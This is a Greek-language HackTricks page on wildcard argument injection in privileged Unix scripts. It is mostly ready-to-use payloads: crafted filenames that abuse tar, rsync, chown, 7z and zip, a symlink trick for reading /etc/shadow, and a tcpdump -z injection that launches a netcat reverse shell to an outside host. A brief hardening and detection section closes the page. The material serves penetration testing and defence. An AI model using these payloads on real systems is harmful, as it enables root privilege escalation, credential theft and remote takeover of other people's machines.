Wildcards Spare Tricks

Reading time: 8 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Η έγχυση επιχειρημάτων με wildcard (γνωστό και ως glob) συμβαίνει όταν ένα προνομιακό σενάριο εκτελεί ένα Unix binary όπως tar, chown, rsync, zip, 7z, … με ένα μη παραquoted wildcard όπως *. Δεδομένου ότι το shell επεκτείνει το wildcard πριν εκτελέσει το binary, ένας επιτιθέμενος που μπορεί να δημιουργήσει αρχεία στον τρέχοντα κατάλογο μπορεί να κατασκευάσει ονόματα αρχείων που αρχίζουν με -, έτσι ώστε να ερμηνεύονται ως επιλογές αντί για δεδομένα, αποτελεσματικά λαθραία σημαίες ή ακόμα και εντολές. Αυτή η σελίδα συγκεντρώνει τις πιο χρήσιμες πρωτογενείς μεθόδους, πρόσφατες έρευνες και σύγχρονες ανιχνεύσεις για το 2023-2025.

chown / chmod

Μπορείτε να αντιγράψετε τον ιδιοκτήτη/ομάδα ή τα δικαιώματα ενός αυθαίρετου αρχείου εκμεταλλευόμενοι τη σημαία --reference:

bash
# attacker-controlled directory
touch "--reference=/root/secret``file"   # ← filename becomes an argument

Όταν ο root εκτελεί αργότερα κάτι όπως:

bash
chown -R alice:alice *.php
chmod -R 644 *.php

--reference=/root/secret``file έχει εισαχθεί, προκαλώντας όλα τα αντίστοιχα αρχεία να κληρονομήσουν την ιδιοκτησία/δικαιώματα του /root/secret``file.

PoC & εργαλείο: wildpwn (συνδυασμένη επίθεση). Δείτε επίσης το κλασικό έγγραφο της DefenseCode για λεπτομέρειες.


tar

GNU tar (Linux, *BSD, busybox-full)

Εκτελέστε αυθαίρετες εντολές εκμεταλλευόμενοι τη δυνατότητα checkpoint:

bash
# attacker-controlled directory
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"

Μόλις ο root εκτελέσει π.χ. tar -czf /root/backup.tgz *, το shell.sh εκτελείται ως root.

bsdtar / macOS 14+

Ο προεπιλεγμένος tar σε πρόσφατες εκδόσεις macOS (βασισμένος σε libarchive) δεν υλοποιεί το --checkpoint, αλλά μπορείτε να επιτύχετε εκτέλεση κώδικα με την επιλογή --use-compress-program που σας επιτρέπει να καθορίσετε έναν εξωτερικό συμπιεστή.

bash
# macOS example
touch "--use-compress-program=/bin/sh"

Όταν ένα προνομιακό σενάριο εκτελεί tar -cf backup.tar *, θα ξεκινήσει το /bin/sh.


rsync

rsync σας επιτρέπει να παρακάμψετε το απομακρυσμένο κέλυφος ή ακόμη και το απομακρυσμένο δυαδικό μέσω σημαιών γραμμής εντολών που ξεκινούν με -e ή --rsync-path:

bash
# attacker-controlled directory
touch "-e sh shell.sh"        # -e <cmd> => use <cmd> instead of ssh

Αν ο root αργότερα αρχειοθετήσει τον κατάλογο με rsync -az * backup:/srv/, η εισαγόμενη σημαία δημιουργεί το shell σας στην απομακρυσμένη πλευρά.

PoC: wildpwn (rsync mode).


7-Zip / 7z / 7za

Ακόμα και όταν το προνομιακό σενάριο αμυντικά προσθέτει το wildcard με -- (για να σταματήσει την ανάλυση επιλογών), η μορφή 7-Zip υποστηρίζει αρχεία λίστας αρχείων προσθέτοντας το όνομα αρχείου με @. Συνδυάζοντας αυτό με ένα symlink σας επιτρέπει να εξάγετε αυθαίρετα αρχεία:

bash
# directory writable by low-priv user
cd /path/controlled
ln -s /etc/shadow   root.txt      # file we want to read
touch @root.txt                  # tells 7z to use root.txt as file list

Αν ο root εκτελέσει κάτι όπως:

bash
7za a /backup/`date +%F`.7z -t7z -snl -- *

7-Zip θα προσπαθήσει να διαβάσει root.txt (→ /etc/shadow) ως λίστα αρχείων και θα αποτύχει, εκτυπώνοντας το περιεχόμενο στο stderr.


zip

zip υποστηρίζει τη σημαία --unzip-command που μεταφέρεται κατά λέξη στη γραμμή εντολών του συστήματος όταν θα δοκιμαστεί το αρχείο:

bash
zip result.zip files -T --unzip-command "sh -c id"

Εισάγετε τη σημαία μέσω ενός κατασκευασμένου ονόματος αρχείου και περιμένετε να καλέσει το σενάριο δημιουργίας αντιγράφων ασφαλείας με δικαιώματα zip -T (δοκιμή αρχείου) στο προκύπτον αρχείο.


Πρόσθετα δυαδικά αρχεία ευάλωτα σε ένεση wildcard (γρήγορη λίστα 2023-2025)

Οι παρακάτω εντολές έχουν κακοποιηθεί σε σύγχρονες CTF και πραγματικά περιβάλλοντα. Το payload δημιουργείται πάντα ως όνομα αρχείου μέσα σε έναν εγγράψιμο φάκελο που θα επεξεργαστεί αργότερα με wildcard:

ΔυαδικόΣημαία προς κακοποίησηΕπίδραση
bsdtar--newer-mtime=@<epoch> → αυθαίρετο @fileΑνάγνωση περιεχομένων αρχείου
flock-c <cmd>Εκτέλεση εντολής
git-c core.sshCommand=<cmd>Εκτέλεση εντολής μέσω git μέσω SSH
scp-S <cmd>Δημιουργία αυθαίρετου προγράμματος αντί για ssh

Αυτές οι πρωτογενείς εντολές είναι λιγότερο κοινές από τις κλασικές tar/rsync/zip αλλά αξίζει να ελεγχθούν κατά την αναζήτηση.


tcpdump rotation hooks (-G/-W/-z): RCE μέσω ένεσης argv σε wrappers

Όταν ένα περιορισμένο shell ή wrapper προμηθευτή κατασκευάζει μια γραμμή εντολών tcpdump συνδυάζοντας πεδία που ελέγχονται από τον χρήστη (π.χ., μια παράμετρος "όνομα αρχείου") χωρίς αυστηρή απόσπαση/επικύρωση, μπορείτε να λαθρέψετε επιπλέον σημαίες tcpdump. Ο συνδυασμός -G (χρονική περιστροφή), -W (περιορισμός αριθμού αρχείων) και -z <cmd> (εντολή μετά την περιστροφή) αποφέρει αυθαίρετη εκτέλεση εντολών ως ο χρήστης που εκτελεί το tcpdump (συχνά root σε συσκευές).

Προϋποθέσεις:

  • Μπορείτε να επηρεάσετε το argv που περνάει στο tcpdump (π.χ., μέσω ενός wrapper όπως /debug/tcpdump --filter=... --file-name=<HERE>).
  • Ο wrapper δεν απολυμαίνει κενά ή tokens που ξεκινούν με - στο πεδίο ονόματος αρχείου.

Κλασικό PoC (εκτελεί ένα σενάριο αντίστροφης σύνδεσης από μια εγγράψιμη διαδρομή):

sh
# Reverse shell payload saved on the device (e.g., USB, tmpfs)
cat > /mnt/disk1_1/rce.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
EOF
chmod +x /mnt/disk1_1/rce.sh

# Inject additional tcpdump flags via the unsafe "file name" field
/debug/tcpdump --filter="udp port 1234" \
--file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"

# On the attacker host
nc -6 -lvnp 4444 &
# Then send any packet that matches the BPF to force a rotation
printf x | nc -u -6 [victim_ipv6] 1234

Λεπτομέρειες:

  • -G 1 -W 1 αναγκάζει μια άμεση περιστροφή μετά το πρώτο πακέτο που ταιριάζει.
  • -z <cmd> εκτελεί την εντολή μετά την περιστροφή μία φορά ανά περιστροφή. Πολλές εκδόσεις εκτελούν <cmd> <savefile>. Αν το <cmd> είναι ένα σενάριο/διερμηνέας, βεβαιωθείτε ότι η διαχείριση των παραμέτρων ταιριάζει με το payload σας.

Μη-αφαιρούμενα μέσα παραλλαγές:

  • Αν έχετε οποιαδήποτε άλλη πρωτόγονη μέθοδο για να γράψετε αρχεία (π.χ., μια ξεχωριστή εντολή περιτύλιξης που επιτρέπει την ανακατεύθυνση εξόδου), τοποθετήστε το σενάριό σας σε μια γνωστή διαδρομή και ενεργοποιήστε -z /bin/sh /path/script.sh ή -z /path/script.sh ανάλογα με τη σημασία της πλατφόρμας.
  • Ορισμένα περιτυλίγματα προμηθευτών περιστρέφονται σε θέσεις ελέγχου που ελέγχονται από τον επιτιθέμενο. Αν μπορείτε να επηρεάσετε τη διαδρομή περιστροφής (symlink/διαδρομή καταλόγου), μπορείτε να κατευθύνετε το -z να εκτελέσει περιεχόμενο που ελέγχετε πλήρως χωρίς εξωτερικά μέσα.

Συμβουλές σκληρύνσης για προμηθευτές:

  • Ποτέ μην περνάτε συμβολοσειρές που ελέγχονται από τον χρήστη απευθείας στο tcpdump (ή οποιοδήποτε εργαλείο) χωρίς αυστηρές λίστες επιτρεπόμενων. Παραθέστε και επικυρώστε.
  • Μην εκθέτετε τη λειτουργία -z σε περιτυλίγματα; εκτελέστε το tcpdump με ένα σταθερό ασφαλές πρότυπο και απαγορεύστε εντελώς επιπλέον σημαίες.
  • Αφαιρέστε τα προνόμια του tcpdump (cap_net_admin/cap_net_raw μόνο) ή εκτελέστε το κάτω από έναν αφιερωμένο μη προνομιούχο χρήστη με περιορισμούς AppArmor/SELinux.

Ανίχνευση & Σκληρύνση

  1. Απενεργοποιήστε την επέκταση wildcard σε κρίσιμα σενάρια: set -f (set -o noglob) αποτρέπει την επέκταση wildcard.
  2. Παραθέστε ή διαφύγετε παραμέτρους: tar -czf "$dst" -- * δεν είναι ασφαλές — προτιμήστε find . -type f -print0 | xargs -0 tar -czf "$dst".
  3. Ρητές διαδρομές: Χρησιμοποιήστε /var/www/html/*.log αντί για * ώστε οι επιτιθέμενοι να μην μπορούν να δημιουργήσουν αδελφά αρχεία που ξεκινούν με -.
  4. Ελάχιστο προνόμιο: Εκτελέστε εργασίες αντιγράφων ασφαλείας/συντήρησης ως μη προνομιούχος υπηρεσία αντί για root όποτε είναι δυνατόν.
  5. Παρακολούθηση: Ο προ-κατασκευασμένος κανόνας της Elastic Potential Shell via Wildcard Injection αναζητά tar --checkpoint=*, rsync -e*, ή zip --unzip-command αμέσως ακολουθούμενο από μια διαδικασία παιδιού shell. Το EQL query μπορεί να προσαρμοστεί για άλλες EDRs.

Αναφορές

  • Elastic Security – Potential Shell via Wildcard Injection Detected rule (τελευταία ενημέρωση 2025)
  • Rutger Flohil – “macOS — Tar wildcard injection” (18 Δεκ 2024)
  • GTFOBins – tcpdump
  • FiberGateway GR241AG – Full Exploit Chain

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks